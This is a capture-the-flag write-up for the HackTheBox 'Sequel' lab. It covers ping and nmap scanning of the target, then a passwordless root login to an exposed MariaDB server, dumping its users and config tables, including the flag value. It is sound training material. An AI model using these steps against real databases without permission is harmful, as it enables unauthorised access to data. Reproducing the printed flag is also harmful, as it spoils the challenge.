HackTheBox - Sequel
Sequel is one of the Starting Points from HackTheBox, where in CTF Sequel we will learn about MySQL (My Sctuctured Query Language).
Introduction
- Connect Sequel using Pwnbox or OpenVPN.
- Spawn machine.
Enumeration
To check the target connection and port, we can use Ping and Nmap.
Ping
After spawn machine, we can start with ping
Target IP.
1
2
3
4
5
6
7
8
9
10
11
❯ ping 10.129.95.232
PING 10.129.95.232 (10.129.95.232) 56(84) bytes of data.
64 bytes from 10.129.95.232: icmp_seq=1 ttl=63 time=425 ms
64 bytes from 10.129.95.232: icmp_seq=2 ttl=63 time=257 ms
64 bytes from 10.129.95.232: icmp_seq=3 ttl=63 time=266 ms
64 bytes from 10.129.95.232: icmp_seq=4 ttl=63 time=504 ms
--- 10.129.95.232 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 256.704/362.845/503.874/105.416 ms
Nmap
Scan ports using nmap
, -sCV
is a combination of -sC
and -sV
, where -sC
displays the script for the port and -sV
displays the version info for the port, -T4
to speed up scanning (the higher the faster [0-5]).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
❯ nmap 10.129.95.232 -sCV -T4
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-27 08:31 WIB
Nmap scan report for JSN.JaringanKU (10.129.95.232)
Host is up (0.26s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
1862/tcp filtered mysql-cm-agent
3306/tcp open mysql?
| mysql-info:
| Protocol: 10
| Version: 5.5.5-10.3.27-MariaDB-0+deb10u1
| Thread ID: 66
| Capabilities flags: 63486
| Some Capabilities: Support41Auth, SupportsCompression, FoundRows, ConnectWithDatabase, LongColumnFlag, SupportsTransactions, IgnoreSigpipes, DontAllowDatabaseTableColumn, IgnoreSpaceBeforeParenthesis, Speaks41ProtocolNew, ODBCClient, SupportsLoadDataLocal, InteractiveClient, Speaks41ProtocolOld, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins
| Status: Autocommit
| Salt: '\c[~+VOh@Cq1=~'D]*X\'
|_ Auth Plugin Name: mysql_native_password
3371/tcp filtered satvid-datalnk
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 239.68 seconds
You can see, there are 3 results but the only one that opens is 3306/tcp which is the mysql service.
Foothold
To run mysql
, make sure you have the service, if you don’t have it, download it. To ask for help use --help
.
Mysql
Use -h
to connect to the host, and -u
to log in using the username. Here we use the default user, namely root
and we do not need to enter a password.
1
2
3
4
show databases; -> to display all databases.
use database; -> to use a database.
show tables; -> to display tables in the database.
select * from table; -> to display all the contents of the table.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
mysql -h 10.129.95.232 -u root
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 74
Server version: 10.3.27-MariaDB-0+deb10u1 Debian 10
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| htb |
| information_schema |
| mysql |
| performance_schema |
+--------------------+
4 rows in set (0,244 sec)
MariaDB [(none)]> use htb;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [htb]> show tables;
+---------------+
| Tables_in_htb |
+---------------+
| config |
| users |
+---------------+
2 rows in set (0,233 sec)
MariaDB [htb]> select * from users;
+----+----------+------------------+
| id | username | email |
+----+----------+------------------+
| 1 | admin | admin@sequel.htb |
| 2 | lara | lara@sequel.htb |
| 3 | sam | sam@sequel.htb |
| 4 | mary | mary@sequel.htb |
+----+----------+------------------+
4 rows in set (0,232 sec)
MariaDB [htb]> select * from config;
+----+-----------------------+----------------------------------+
| id | name | value |
+----+-----------------------+----------------------------------+
| 1 | timeout | 60s |
| 2 | security | default |
| 3 | auto_logon | false |
| 4 | max_size | 2M |
| 5 | flag | 7b4bec00d1a39e3dd4e021ec3d915da8 |
| 6 | enable_uploads | false |
| 7 | authentication_method | radius |
+----+-----------------------+----------------------------------+
7 rows in set (0,589 sec)